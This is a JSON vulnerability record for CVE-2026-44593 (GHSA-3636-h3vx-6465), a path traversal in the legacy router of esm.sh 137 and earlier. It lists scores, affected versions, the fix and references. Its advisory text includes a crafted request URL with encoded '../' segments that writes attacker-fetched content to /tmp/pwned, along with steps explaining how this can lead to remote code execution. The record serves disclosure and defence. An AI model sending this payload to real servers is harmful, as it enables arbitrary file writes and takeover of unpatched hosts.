{"id":"CVE-2026-44593","aliases":["CVE-2026-44593","GHSA-3636-h3vx-6465","GO-2026-5071"],"related":[],"kind":"vulnerability","state":"published","title":"esm.sh: Legacy Route Path Traversal Can Lead to RCE","summary":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, the legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put. The router concatenates the path components without sanitizing them, producing a storage key. When this key is used, the underlying file system resolves the relative segments and writes the file to the specified path. Thus an attacker can craft a request that writes data to arbitrary locations on the server.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, the legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put. The router concatenates the path components without sanitizing them, producing a storage key. When this key is used, the underlying file system resolves the relative segments and writes the file to the specified path. Thus an attacker can craft a request that writes data to arbitrary locations on the server.","source":"cvelist"},{"lang":"en","text":"### Impact\n- Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.\n- Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.\n\n### Exploit\n\nThe legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put`  \n(see <https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291>).\n\nFor a URL such as:\n\n```\nhttp://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n```\n\nthe router concatenates the path components without sanitizing them, producing a storage key like:\n\n```\nlegacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n```\n\nWhen this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server.\n\n\n### Details\n\n1. **URL Construction**  \n   A crafted request is sent to the server:\n   ```\n   http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned\n   ```\n\n2. **Proxy to Legacy Server**  \n   The request is forwarded to:\n   ```\n   http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned\n   ```\n   which resolves to:\n   ```\n   http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.md\n   ```\n\n3. **File Retrieval**  \n   The server fetches `foo.md` from the GitHub repository `https://github.com/<attacker>/exp`.\n\n4. **Path Normalisation & Storage**  \n   The storage path derived from the request is:\n   ```\n   legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned\n   ```\n   Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location.\n\n5. **Result**  \n   By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.\n\n\n### Credit Discovery To\nsplitline (@\\_splitline\\_) from DEVCORE Research Team","format":"markdown","source":"ghsa"},{"lang":"en","text":"esm.sh: Legacy Route Path Traversal Can Lead to RCE in github.com/esm-dev/esm.sh","format":"markdown","source":"go"},{"lang":"es","text":"esm.sh es una red de entrega de contenido (CDN) sin compilación para el desarrollo web. En la versión 137 y anteriores, el router heredado primero recupera una respuesta de legacyServer, analiza la ruta de la solicitud entrante y, finalmente, escribe los datos en el almacenamiento a través de buildStorage.Put. El router concatena los componentes de la ruta sin sanitizarlos, produciendo una clave de almacenamiento. Cuando se utiliza esta clave, el sistema de archivos subyacente resuelve los segmentos relativos y escribe el archivo en la ruta especificada. Así, un atacante puede elaborar una solicitud que escribe datos en ubicaciones arbitrarias en el servidor.","source":"nvd"}],"published":"2026-05-12T22:22:39.000Z","modified":"2026-10-26T11:10:00.157Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"<= 137","status":"affected"}],"vendor":"esm-dev","product":"esm.sh","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260508100112-1960055e1d53"}],"ecosystem":"Go","package":"github.com/esm-dev/esm.sh","purl":"pkg:golang/github.com/esm-dev/esm.sh","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260508100112-1960055e1d53"}],"ecosystem":"Go","package":"github.com/esm-dev/esm.sh","purl":"pkg:golang/github.com/esm-dev/esm.sh","source":"go"}],"references":[{"url":"https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3636-h3vx-6465","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44593","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/esm-dev/esm.sh","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_3","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-06-02T15:00:40.289Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-44593","url":"https://www.cve.org/CVERecord?id=CVE-2026-44593","licence":"CVE Terms of Use","modified":"2026-06-02T15:01:05.268Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3636-h3vx-6465","url":"https://github.com/advisories/GHSA-3636-h3vx-6465","licence":"CC-BY-4.0","modified":"2026-06-25T18:56:35.298Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5071","url":"https://pkg.go.dev/vuln/GO-2026-5071","licence":"CC-BY-4.0","modified":"2026-06-25T18:45:15.015Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-44593","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44593","licence":"Public domain","modified":"2026-10-26T11:10:00.157Z"}],"updatedAt":"2026-11-25T22:59:22.924Z","epss":{"score":0.00437,"percentile":0.39693,"date":"2026-12-02T12:00:21.000Z"}}